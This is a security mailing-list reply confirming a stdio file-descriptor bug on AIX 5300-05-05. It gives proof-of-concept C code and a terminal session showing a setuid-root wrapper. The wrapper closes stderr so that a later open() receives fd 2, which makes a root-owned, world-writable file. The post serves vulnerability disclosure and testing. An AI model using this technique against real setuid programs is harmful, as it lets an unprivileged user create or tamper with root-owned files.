Re: Re: Multiple OS kernel insecure handling of stdio file descriptor



I modify the test program, the line used "open" to :
int f=open("./bb",O_WRONLY | O_CREAT,0666);

Then tested it on AIX5300-05-05,It works ok,the bug exists now.

open("./bb",O_WRONLY | O_CREAT,0666);

-bash-3.00$ id
uid=202(cloud) gid=1(staff)
-bash-3.00$ oslevel -s
5300-05-05
-bash-3.00$ cat tt.c
#include<fcntl.h>
int main()
{
int f=open("./bb",O_WRONLY | O_CREAT,0666);
printf("euid=%i\n",geteuid());
printf("f=%i\n",f);
write(2,"hello\n",6);
}
-bash-3.00$ cat k.c
int main()
{
close(2); //close 2 before call tt
execl("./tt","./tt",0);
}
-bash-3.00$ ls -l k
-rwsr-xr-x 1 root staff 58287 Jan 1 09:55 k
-bash-3.00$ ls -l tt
-rwxrwxrwx 1 cloud staff 59457 Jan 1 10:24 tt
-bash-3.00$ ls -l bb
bb not found
-bash-3.00$ ./k
euid=0
f=2
-bash-3.00$ ls -l bb
-rw-rw-rw- 1 root staff 6 Jan 1 10:27 bb
-bash-3.00$ cat bb
hello
-bash-3.00$



Relevant Pages

  • Re: Sysmask security challenge: useful or not?
    ... at least without first testing with ls and cat. ... A stupid bug in the sysmask package. ... > more useless things to play with and would waste more time. ... Doing everything via a web form is not very ...
    (comp.os.linux.security)
  • RE: cat installing under Vista x64
    ... HlkServiceDesc = "Aladdin Hardlock Legacy Driver" ... I've build a .cat using makecat -v hardlock.cdf from following file: ... int DestSize) ... printf("CryptCATAdminAcquireContext failed error %d\n",GetLastError()); ...
    (microsoft.public.development.device.drivers)
  • Re: suggested addition to date
    ... It is not a command to filter files. ... 'cat' would be a more ... int bflag, eflag, nflag, sflag, tflag, vflag; ... const char *filename; ...
    (freebsd-current)
  • isfinite
    ... $ man -w isfinite ... I dev.man.irix_lib 06/29/2004 Development Environment IRIX Manual Pages ... $ cat foo.c ... int main ...
    (comp.sys.sgi.bugs)
  • Re: [PATCH 1/3] Fix Unlikely(x) == y
    ... altogether for these cases; unlikelyis almost a ... go-faster-stripes thing, and if you don't know how to use it you ... $ cat branch.c ... int main ...
    (Linux-Kernel)